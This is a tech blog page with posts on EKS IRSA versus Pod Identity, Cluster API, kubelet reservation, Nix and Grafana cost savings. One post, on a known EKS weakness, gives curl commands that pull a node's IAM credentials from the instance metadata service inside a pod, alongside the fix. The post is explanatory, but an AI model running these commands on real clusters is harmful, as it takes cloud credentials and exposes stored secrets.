Skip to content

Spaghetti 🍝 (tech blog)

  • 4 min read

IRSA and Pod Identity compared for eventual consistency

While basically achieving the same IAM Roles for Service Accounts (IRSA) and Pod Identity namely, injecting an AWS context with temporary credentials into your Kubernetes Pod workloads. They do this in very different manner. In this post we will touch upon the differences, promises and the topic of eventually consistency.

IRSA

When provisioning an AWS EKS cluster, an OIDC provider is associated with that particular cluster. The OIDC provider is unique to the cluster and commonly lives and dies with it. We use this OIDC provider to create a federated trust with our IAM Roles to allow EKS to fetch temporary credentials. It is important to note that the trust policy also has to be aware of the Namespace and ServiceAccount used, and the ServiceAccount needs a special annotation containing the IAM Role ARN. The last bit is important for our later discussion about eventual consistency, since we provide Kubernetes with some metadata related to our IAM Role to ServiceAccount mapping. A MutatingWebhook, hidden in the control plane, picks up workloads using a ServiceAccount annotated with the intention of consuming the IAM Role credentials and injects them.

We can already realise a few things here:

  • IRSA cannot survive cluster recreation without us updating the IAM Role trust policy with the updated OIDC provider.
  • We need to provide Kubernetes with some metadata in the form of a ServiceAccount annotation.
  • EKS doesn't need to know anything about our IAM Role to ServiceAccount mapping.

Pod Identity

Pod Identity takes a different approach than IRSA to address the "cannot survive cluster recreation" problem by replacing OIDC federation with an EKS-native exchange called an association. A Pod Identity Association is a record that maps an IAM Role to one Kubernetes ServiceAccount and the record lives entirely in EKS; hence we don't need to provide any metadata to Kubernetes. The IAM Role still needs a trust policy, but it is now independent of the OIDC provider, Namespace, and ServiceAccount. For Pod Identity to work we need to enable the EKS addon that provisions a DaemonSet and a MutatingWebhook. Once a Pod Identity Association has been added, the MutatingWebhook injects credentials into the Pod.

Again, we can realise a couple of things of interest:

  • Pod Identity can survive cluster recreation, but it requires that EKS knows all the mappings between IAM Roles and ServiceAccounts.
  • We do not need to provide any metadata to Kubernetes.
  • EKS needs to know about our IAM Role to ServiceAccount mappings.

Eventual consistency discussion

Since both methods essentially use MutatingWebhooks, I would argue that having Kubernetes metadata is an important advantage for eventual consistency. Let's sketch out the scenario for Pod Identity.

  1. We create a ServiceAccount to be referenced in a Deployment and apply it to the cluster.
  2. We then later create an IAM Role and add a Pod Identity Association.

If the Deployment's resulting Pods get scheduled before I add my Pod Identity Association, the MutatingWebhook will never pick up on this and my Pods never get AWS context injected. I would need to trigger a new Deployment rollout for the MutatingWebhook to take effect.

Let's sketch the same scenario for IRSA.

  1. We create a ServiceAccount to be referenced in a Deployment. Because IRSA requires Kubernetes metadata in the form of an annotation referencing a Role ARN, we add this to the ServiceAccount up front even though the IAM Role doesn't exist yet. We apply this to the cluster.
  2. We then later create an IAM Role referencing the OIDC provider, Namespace, and ServiceAccount.

In this case our MutatingWebhook has already picked up on our intent to consume an AWS context, so even though we didn't provision the IAM Role before our ServiceAccount and Deployment, the Pods will eventually get the credentials injected without us triggering a Deployment rollout. This is because the MutatingWebhook has already mutated our Pods. Kubernetes metadata provides us with the option of declaring intent up front, allowing ordering to become irrelevant and enabling eventual consistency. It should be stated that IRSA would have the same issue as Pod Identity if we do not annotate the ServiceAccount up front.

Conclusion

It is important to stress that IRSA isn't better than Pod Identity or vice versa. They each have their strengths and weaknesses; you should consider reading this article to learn more on the topic. For this particular thought experiment, the Kubernetes metadata part becomes very handy, and I prefer relying on eventual consistency rather than relying on correct apply ordering.

Lastly, I hope that AWS will add some similar functionality to Pod Identity so that we can declare intent up front. My naive suggestion would be an optional ServiceAccount annotation that doesn't contain the IAM Role ARN, to keep the mapping lifecycle only in EKS as already implemented.

  • 2 min read

Playing with Cluster API helm addon

In the previous post, we continued the journey of playing with Cluster API and tried to cover how to get things onto a workload cluster — see the post here. We went through ClusterResourceSet and HelmChartProxy. In this post we will dig deeper into the capabilities of HelmChartProxy, with a focus on templating and propagating cluster infrastructure-specific details.

Why is this important?

When bootstrapping controllers and other components onto a workload cluster, we might need to provide the controllers with information that is not known upfront when provisioning the cluster. VPC ID or OIDC ARN are good examples of this. This means we may need to retrofit this information into a Helm chart afterwards.

Helm addon valuesTemplete

It turns out that the Helm addon for Cluster API has templating capabilities built in for fetching data from the spec of Cluster and ControlPlane resources. Let's see an example of this using our favorite metrics-server chart as a naive example:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
apiVersion: addons.cluster.x-k8s.io/v1alpha1
kind: HelmChartProxy
metadata:
  name: metrics-server
  namespace: default
spec:
  clusterSelector:
    matchLabels:
      helm-addon: enabled
  repoURL: "https://kubernetes-sigs.github.io/metrics-server/"
  chartName: metrics-server
  options:
    waitForJobs: true
    wait: true
    timeout: 5m
    install:
      createNamespace: true
  valuesTemplate: |
    commonLabels:
      test: im-a-static-label # static label
      vpcId: {{ .ControlPlane.spec.network.vpc.id }} # label read from control plane resource
      host: "{{ .Cluster.spec.controlPlaneEndpoint.port }}" # label read from cluster resource

We can verify that the metrics-server Deployment in the target cluster will have labels containing the VPC ID and control plane endpoint port, read from the management cluster's knowledge of the workload cluster.

This is a significant advantage the Helm add-on has over ClusterResourceSet and can be very valuable.

  • 3 min read

Playing with Cluster API continued

In the previous post, we bootstrapped a Cluster API management cluster onto a local Kubernetes distribution and used it to provision a workload cluster. We also made sure that we could take backups of resources related to the workload cluster and restore them, reducing the need for long-lived management clusters. See the post here. In this post we will focus more on Cluster API-specific ways to deploy resources onto the workload cluster, which is important for bootstrapping GitOps capabilities, among other things. Note that all methods covered here apply resources to the workload cluster once it is ready.

ClusterResourceSet

With Cluster API we can enable ClusterResourceSet by setting the experimental feature flag EXP_CLUSTER_RESOURCE_SET=true when bootstrapping the management cluster. This ensures that the custom resource ClusterResourceSet becomes available on our management cluster. But how does it work?

The concept is pretty simple to grasp if we inspect an example of the resource:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
---
apiVersion: addons.cluster.x-k8s.io/v1beta2
kind: ClusterResourceSet
metadata:
  name: my-customresourceset
  namespace: default
spec:
  clusterSelector:
    matchLabels:
      clusterresourceset: enabled
  resources:
    - kind: ConfigMap
      name: my-manifests
  strategy: ApplyOnce

---
apiVersion: v1
kind: ConfigMap
metadata:
  name: my-manifests
  namespace: default
data:
  namespace.yaml: |-
    ---
    apiVersion: v1
    kind: Namespace
    metadata:
      name: my-new-namespace

A ClusterResourceSet targets a cluster using label selectors, so we may label our workload cluster to make this work. Then it references resources like ConfigMap and Secret (I haven't tried this with Secret) that contain the manifests we want applied to our target cluster. In this example it is just a namespace, but it can be arbitrarily complex. Lastly, the strategy can be ApplyOnce or Reconcile. Note that if we delete any resources in our ConfigMap, Cluster API will not delete the corresponding resources in the target cluster, to my knowledge. We could wish for better controller functionality, but for bootstrapping it probably works fine. You can probably read between the lines that I'm not the biggest fan.

Helm addon

The second method we will cover is the Helm addon, which can be enabled by adding --addon helm when bootstrapping the management cluster. This will make the HelmChartProxy custom resource available and install a controller called caaph. If we inspect an example resource where we deploy the metrics-server Helm chart, we will see that it follows the same concept: it uses a cluster label selector, and the rest of the spec relates to the Helm chart we wish to consume.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
apiVersion: addons.cluster.x-k8s.io/v1alpha1
kind: HelmChartProxy
metadata:
  name: metrics-server
  namespace: default
spec:
  clusterSelector:
    matchLabels:
      helm-addon: enabled
  repoURL: "https://kubernetes-sigs.github.io/metrics-server/"
  chartName: metrics-server
  options:
    waitForJobs: true
    wait: true
    timeout: 5m
    install:
      createNamespace: true

Unlike with ClusterResourceSet, when we delete a HelmChartProxy resource the chart will also be removed from the target cluster. So it behaves as we'd expect from a proper controller. If your bootstrapping needs are covered by Helm, I would strongly suggest this as the preferred method.

  • 3 min read

Playing with Cluster API

I have for a long time wanted to play around with Cluster API (CAPI) and I finally got around to test it at work recently. This post will mainly cover how to quickly get up and running using a local Kubernetes distribution as management cluster and provisioning an AWS EKS cluster with CAPI.

Bootstrapping

CAPI requires a CloudFormation stack to be provisioned and by using clusterawsadm we can first output a bootstrap config file for us to tweak and then create the stack.

1
2
3
4
5
# Output bootstrap config
clusterawsadm bootstrap iam print-config > bootstrap-config.yaml

# Create CloudFormation stack
clusterawsadm bootstrap iam create-cloudformation-stack --config bootstrap-config.yaml

Up front the bootstrap-config.yaml file doesn't need any tweaking, but it's good to have if we need to do changes at a later stage.

1
2
# Update CloudFormation stack
clusterawsadm bootstrap iam update-cloudformation-stack --config bootstrap-config.yaml

Local management cluster

For some reason I like minikube, but you can choose any other local Kubernetes distribution like k3s, kind etc.. Let's start the cluster.

1
2
# Start local Kubernetes cluster and wait for it to be ready
minikube start --wait=all

We now need to initialize CAPI with an AWS provider on our local management cluster using clusterctl.

1
2
3
4
5
6
7
# Initialize CAPI with AWS specific provider
AWS_B64ENCODED_CREDENTIALS=$(clusterawsadm bootstrap credentials encode-as-profile --profile ${AWS_PROFILE}) \
  EXP_MACHINE_POOL=true \
  EXP_CLUSTER_RESOURCE_SET=true \
  CAPA_EKS_IAM=true \
  CAPA_EKS_ADD_ROLES=true \
  clusterctl init --infrastructure aws

We set a bunch of feature flags that are good defaults and I find enablement of EXP_MACHINE_POOL absolutely essential for simplification.

  • EXP_MACHINE_POOL enables the experimental Machine Pool feature, allowing you to manage groups of machines as a single unit with common configurations.
  • EXP_CLUSTER_RESOURCE_SET enables experimental ClusterResourceSet support, which lets you automatically apply resources to clusters when they're created.
  • CAPA_EKS_IAM enables IAM role management for EKS clusters, allowing Cluster API to create and configure IAM roles needed by EKS.
  • CAPA_EKS_ADD_ROLES enables automatic addition of required IAM roles to worker nodes, ensuring they have proper permissions to join and operate in the EKS cluster

The above command will install cert-manager and the following Cluster API providers: cluster-api, bootstrap-kubeadm, control-plane-kubeadm and infrastructure-aws.

Provision workload cluster

Before we begin provisioning, an SSH key pair is required, so we'll provision one using the AWS CLI.

1
2
# Create SSH key pair
aws ec2 create-key-pair --key-name workload --output json

We are now ready to generate the manifests for our new cluster.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# Create directory for cluster manifests
mkdir k8s/

# Generate cluster manifests
AWS_REGION=${AWS_REGION} \
  AWS_SSH_KEY_NAME=workload \
  AWS_CONTROL_PLANE_MACHINE_TYPE=t3.large \
  AWS_NODE_MACHINE_TYPE=t3.large \
  WORKER_MACHINE_COUNT=1 \
  CLUSTER_NAME=workload \
  CLUSTER_VERSION=1.36.1 \
  clusterctl generate cluster ${CLUSTER_NAME} --kubernetes-version ${CLUSTER_VERSION} --flavor eks-managedmachinepool > k8s/manifests.yaml

It is advised that you inspect the manifests before applying them.

1
2
# Apply workload cluster manifests
kubectl apply -f k8s/

We can now watch progress on workload cluster provisioning.

1
2
# Watch workload cluster provisioning
clusterctl describe cluster workload

It will take some time to provision, so go grab something to drink. Once provisioned we can gain access to our new workload cluster using the following command.

1
2
# Get kubeconfig of workload cluster
clusterctl get kubeconfig workload

Backup and restore

We can easily backup and restore using the following commands.

1
2
3
4
5
6
7
8
# Create backup folder
mkdir backup/

# Take backup
clusterctl move --to-directory backup/

# Restore from backup
clusterctl move --from-directory backup/

This means that our management cluster can potentially become ephemeral, assuming we can live without reconciliation.

Clean up

We can easily clean up. But it is important that we wait for the CAPI controllers to clean up AWS resources and that takes time.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# Take backup (just to be sure)
clusterctl move --to-directory backup/

# Delete workload cluster (IMPORTANT: this will take some time since the controllers need to do cleanup, so be patient)
kubectl delete -f k8s/

# Delete SSH key pair
aws ec2 delete-key-pair --key-name default

# Delete management cluster
minikube delete

# Delete CloudFormation stack
clusterawsadm bootstrap iam delete-cloudformation-stack
  • 2 min read

AWS EKS node system and kubelet resource reservation

It is well known that enabling prefix delegation on the CNI plugin/addon can drastically increase the node's pod limit. This post is about if and how AWS scales node system and kubelet resource reservation in general, and what happens when we tweak the kubelet's max-pods setting. The latter can be beneficial, because it was common that the node ran out of IPs long before any reasonable resource utilization was reached.

System resource reservation

This one is easy, because AWS EKS managed nodes simply don't have any system resources reserved out of the box. AWS documentation is really vague about setting it, but they write if you must set, you should only set it for un-compressable resources (memory).

Kubelet resource reservation

How the kubelet's resource reservation for CPU and memory scales with instance size is not widely known and is really interesting. Let's start with CPU, which in the calculation is independent of max-pods.

  • The scaling of reserved CPU for the kubelet is calculated as the sum of 6% of the first core, 1% of the second core, 0.5% of the third and fourth cores, and 0.25% of the remaining cores.

If we move on to memory, it is heavily dependent on max-pods.

  • The calculation of reserved memory is 255Mi + (11Mi * max_pods)

Each instance type in AWS has different defaults for max-pods, depending on available network interfaces, and is normally lower than the recommended upper limit of 110 pods.

Effect of tweaking max-pods

Now it becomes interesting: if I enable prefix delegation and set max-pods to 110, the kubelet reserved memory calculation still uses the much lower AWS default. So we have to do the calculation ourselves and set it accordingly, since AWS doesn't do it for us.

  • 3 min read

Thoughts on local privilege escalation vulnerabilities from a Kubernetes perspective

We have recently been hit by a wave of Linux kernel local privilege escalation vulnerabilities Copy Fail (CVE-2026-31431), Dirty Frag (CVE-2026-43284, CVE-2026-43500) and Fragnesia. While the situation isn't ideal and discovery frequency is likely driven by improvements in AI, temporary mitigations have been relatively simple. SSH into a Linux box and apply temporary mitigation or do a system security update if available and in some cases reboot afterwards. This can be done too for Kubernetes cluster nodes, but when node autoscaling enters the situation changes. So how do we handle temporary mitigations of Kubernetes cluster nodes until an official patched image is released, when we constantly get new ones and our temporarily patched nodes disappear?

Other options available

There are several paths to follow, some more passive than others. Let's go through some of the options. The most passive one is to do nothing and just wait for an upstream fix, in this case for AWS EKS, a new AMI release. I'm confident that this option is more popular than most people realises. Another less passive but manual approach is to temporarily patch the nodes, but as we already discussed this is probably not viable if node autoscaling is a thing. Here I'm also pretty sure that for many smaller clusters without node autoscaling this was the approach chosen. There are definitely other options such as building your own image or maybe patching via user data, but these require all existing nodes to be replaced, effectively leading to extra pod disruption. Plus user data is likely to touch Terraform/OpenTofu and in AWS also the launch template, giving developers slow feedback when testing.

My preferred option (so far)

The best approach I've seen so far is to deploy a DaemonSet with high privilege on all nodes and run your patches there. This of course adds an extra attack vector, which isn't ideal, but it is fast to develop and apply and doesn't touch the launch template, making iterations fast and lightweight. The example below is heavily inspired by an implementation provided by the Red Hat OpenShift team.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: privilege-escalation-patch
  namespace: kube-system

---
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: privilege-escalation-patch
  namespace: kube-system
  labels:
    app: privilege-escalation-patch
spec:
  selector:
    matchLabels:
      app: privilege-escalation-patch
  template:
    metadata:
      labels:
        app: privilege-escalation-patch
    spec:
      serviceAccountName: privilege-escalation-patch
      nodeSelector:
        kubernetes.io/os: linux
      tolerations:
        - operator: Exists
      terminationGracePeriodSeconds: 1
      containers:
        - name: privilege-escalation-patch
          image: debian:stable
          command:
            - /bin/sh
            - "-c"
            - |
              echo "YOUR PATCH SCRIPT GOES HERE"
              sleep infinity
          lifecycle:
            preStop:
              exec:
                command:
                  - /bin/sh
                  - "-c"
                  - |
                    echo "YOUR REMOVAL OF PATCH GOES HERE IF NEEDED"
          securityContext:
            privileged: true
          volumeMounts:
            - name: host-root
              mountPath: /host
      volumes:
        - name: host-root
          hostPath:
            path: /
  • 3 min read

AWS EKS vulnerability

Before we start, I must clarify that there are no newly discovered 0‑Day vulnerabilities in this blog post, but rather a moment of clarity realizing how bad an already‑existing unpatched (N‑Day) vulnerability can be under certain circumstances.

The vulnerability discussed here is that AWS EKS clusters (Kubernetes) by default allow pods to steal worker node credentials. This is bad, but the patch is relatively simple with few side effects. I will take you through how the vulnerability is exploited, an example of what would amplify the impact, how it is patched, and examples of what potentially breaks.

The exploit

When spinning up an AWS EKS cluster, depending on the method used, your worker nodes might end up with a launch template configuration that has the default hop limit of 2. This means that pods are allowed to call the instance metadata service, because two network hops are allowed. The instance metadata service is what the EC2 instance (worker node) uses to get information about itself and its environment, including credentials, and this is where our exploit begins. Assuming that you can gain access to the cluster's pods or spin up new ones, be careful if following this example because the credentials, even though temporary, might end up in your logs.

1
2
3
4
5
6
7
8
# Spin up a new pod with an interactive shell
kubectl run -n default -i --tty --rm debug --image=alpine:latest --restart=Never -- sh

# Install curl
apk update && apk add curl

# Get a token from the metadata service
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

We have now obtained a token from the metadata service that can be used to retrieve the EC2 instance role name and its credentials. Continuing in the same pod as before.

1
2
3
4
5
# Get the EC2 instance role name
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Get the EC2 instance role credentials
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE

We have now obtained a valid set of AWS credentials with the same permission scope as your EC2 instance role.

The impact

It is very common for AWS EKS worker nodes to have access to pull container images or read data from SSM Parameter Store and probably more. In some environments where predictable naming patterns exist, decrypted access to certain secrets may still be possible even with limited list/describe permissions, which makes the impact more serious than initially expected. Some teams might prefer SSM Parameter Store for storing secrets over Secrets Manager, making the impact much worse.

The patch

To prevent pods from accessing the instance metadata service, set the EC2 instance metadata hop limit to 1 in your worker node launch templates. This blocks pod‑level IMDS access while keeping node‑level functionality intact. Be aware that some Kubernetes add‑ons or deployment tooling may rely on IMDS for cluster, network, or storage metadata. These components may need additional configuration, such as supplying explicit parameters or assigning dedicated IAM roles. The exact impact varies between setups, so it's important to evaluate this change in a non‑production environment first. Here are things I have discovered, but you might have more.

  • AWS Load Balancer Controller can no longer get the VPC ID, so we need to supply it.
  • EBS CSI driver will first attempt to call the metadata service for information, then fail, throwing an error and then falling back to getting it from Kubernetes instead.
  • Flux Image Reflector Controller can no longer pull images from ECR, so an IRSA role needs to be supplied.

Disclaimer: This example reflects a generic EKS configuration and is not indicative of any specific environment.

  • 4 min read

How this blog uses Nix

Nix is an advanced tool for building, packaging, and configuring software in a reliable, reproducible and declarative way, that has been gaining a lot of popularity over recent years. Nix first came up on my radar around the early 2020s, but it took a couple of years before I really started investing time on it other than just reading. It is really powerful but also very different from what I was used to. I now use NixOS as my daily driver (work and home) and use Nix Flakes to declare my development shells in various projects. In this post we will go over how I first started using Nix and how I have declared a development shell for this blog using Nix Flakes.

The word Nix is used everywhere

The term "I use Nix" can have many meanings and is sometimes confusing. Let's go over some of them here.

  • Nix the functional language
  • Nix the package manager also known as nixpkgs
  • Nix the operating system also known as NixOS

There are probably more, but I think this might illustrate where the confusion comes from. Just know that people tend to only use the word "Nix" and you have to guess the context.

Home-manager is a great place to start

I started my practical journey with Nix with porting my dotfiles and packages into the Nix ecosystem using Home-manager, a basic system for managing your user environment using the Nix package manager and Nix libraries. For me it was a great starting point and I can really recommend this approach. At that time I was using Archlinux, but Nix with home-manager could easily be set up on the side and I could slowly port my stuff when I felt like it. I also quickly found out that I almost don't have any system-level configuration, so I made the switch to NixOS after roughly a year and I have never looked back since. See my NixOS configuration here github.com/wcarlsen/config.

Flakes and development shells

Flakes have at this point basically become the defacto standard, when using Nix. It adds a much needed flake.lock file (can be updated with nix flake update), making sure your configuration is reproducable. It is pretty simple to define a development shell using flakes. See look at "minimal" example.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# flake.nix
{
  inputs = {
    nixpkgs.url = "github:nixos/nixpkgs/nixos-unstable";
    flake-utils.url = "github:numtide/flake-utils";
  };

  outputs = inputs:
    inputs.flake-utils.lib.eachDefaultSystem (system: let
      pkgs = import inputs.nixpkgs {
        inherit system;
      }; # this is just a fancy (but easy) way to define your system, e.g. x86_64-linux, aarch64_darwin, etc.
    in {
      devShells = {
        default = pkgs.mkShell {
          buildInputs = with pkgs; [
            cowsay # add your dependencies here
          ];
          shellHook = ``
            cowsay "COWABUNGA!" # add your custom shell hooks here
          ``;
        };
      };
    });
}

Above flake consists of inputs, defining which branch of the Nix package manager to use and flake-utils as a way to define systems. The other part is outputs, where we are outputting devShells, but only defining one called default using pkgs.mkShell and its attribute buildInputs to define package dependencies. It should be noted that mkShell has other attributes as well, for example shellHook. You could imagine a simple Python project using UV as package manager, where buildInputs would contain Python and UV and the shellHook running uv sync installing all Python-specific dependencies. Another example would be an Opentofu project, where we install all providers with tofu init in the shellHook.

The devShells can be invoked with the following nix command: nix develop. I tend to use direnv and just put use flake in my .envrc file, to have it automatically set up my development shell.

So how does this blog use Nix?

Now that we have some limited knowledge about Nix and Flakes, we can start looking at how this blog uses it. In the root of the GitHub project you will find a flake.nix which specifies MkDocs and all the plugins used to create this blog, and, because I use direnv, it will automatically install all dependencies and drop me into a development shell so I can start writing and validate my changes locally. I find the "holy trinity" flakes, direnv and make really useful. So now we have a reproducible development setup; how do we use it in places other than locally? Let's look at GitHub Actions as an example.

GitHub Actions and Flakes

Because we have defined all of our dependencies in a Flake it becomes really easy to utilize it in a GitHub Action.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
name: build
on:
  pull_request:
    branches:
      - main
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Install Nix
        uses: cachix/install-nix-action@v30
        with:
          extra_nix_config: |
            access-tokens = github.com=${{ secrets.GITHUB_TOKEN }}
      - name: Build
        run: nix develop --command make build

We see that it doesn't really require much effort at all, and changes to my local development don't require updates to my GitHub Actions workflow (unless I change the Makefile interface).

  • 1 min read

Cost savings Grafana Cloud follow up

In the previous post I wrote about our efforts reduce cost for Grafana Cloud metrics. Here I went over the 3 main things we implemented

  • Reduced sample rates
  • Filter/drop unused metrics (keep only used ones)
  • Enable adaptive metrics

but I also ended up concluding that we lacked impact feedback and only had proxy indicators. Our goal was ambitious and more concrete we set out to save 80% on our metrics bill. This post serves as a conclusion on our efforts.

Conclusion

We now know that we almost reached that goal with a 78% reduction in metrics cost alone.

Implementation aftermath

Enabling auto-mode for adaptive metrics was by far the most invasive and we saw some of the developers dashboards break, but also fewer than antisipated.

  • 2 min read

Cost savings efforts for metrics on Grafana Cloud

Grafana Cloud is an appealing option for an observability stack and offloading a selfhosted setup to a managed one gives me peace of mind. I only really have two main complains and it is all related to cost. Metrics and users cost are simply too high, with the metrics one being the worst offender. It forces you to not just enable metrics and be happy, but now you have to do heavy filtering up front on metrics and only keep the ones you think you need. You also have to consider if any of the metrics have a high cardinality label and dropping the labels or use Grafana Cloud's adaptive setup.

We have just gone through a week trying to reduced metrics cost and this post will describe our efforts attempted. It is still unclear exactly what the impact on cost will be, but we have seen a huge decline in active series, high cardinality labels and over sampling.

Sample rate savings

In our efforts to save cost on metrics we took a look at our sample rates (scrape intervals) and saw that in some cases we had way to high resolution on metrics, 5 seconds in a few worst cases. Our default was 30 seconds, so we decided to be conservative and bump the resolution to 120 seconds. This strikes the perfect balance between enough resolution visualization, alerting and more, without our alerts being too much delayed. This is heavily inspired from learnings done in my old company Veo.

Filter unused metrics

We went through all of our services and controllers and reviewed if the metrics we scraped was actually used for something. This process was time consuming and a bit error prone, but it also had pretty significant effort on active metrics series. This is probably somethings we should have done a long time ago, but never really got the time for it. Here is an example of doing it with a ServiceMonitor

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
---
apiVersion: monitoring.coreos.com/v1
kind: ServiceMonitor
...
spec:
  endpoints:
    - path: /metrics
      port: metrics
      metricRelabelings:
        - action: keep
          sourceLabels: [__name__]
          regex: "your_cool_metric_0|your_cool_metrics_1"
...

Enable adaptive metrics

As a last option we enable auto-mode for adaptive metrics, which means that it will automatically adjust the rules over time. This will remove a bunch of labels and most likely also useful ones. But we wanted to reduce cost a lot, so drastic measures where needed. Critically missing labels can always be put back in with excemptions or segments, but this approach could probably quickly become unmanageable in terms of rules exceptions.

Lacking cost impact feedback

We quickly found out that the way Grafana Cloud does billing dashboards you are kind of flying blind and you are left with proxy dashboards such as active metrics series and sample rate. I will give a short update once we actually realise the savings achieved.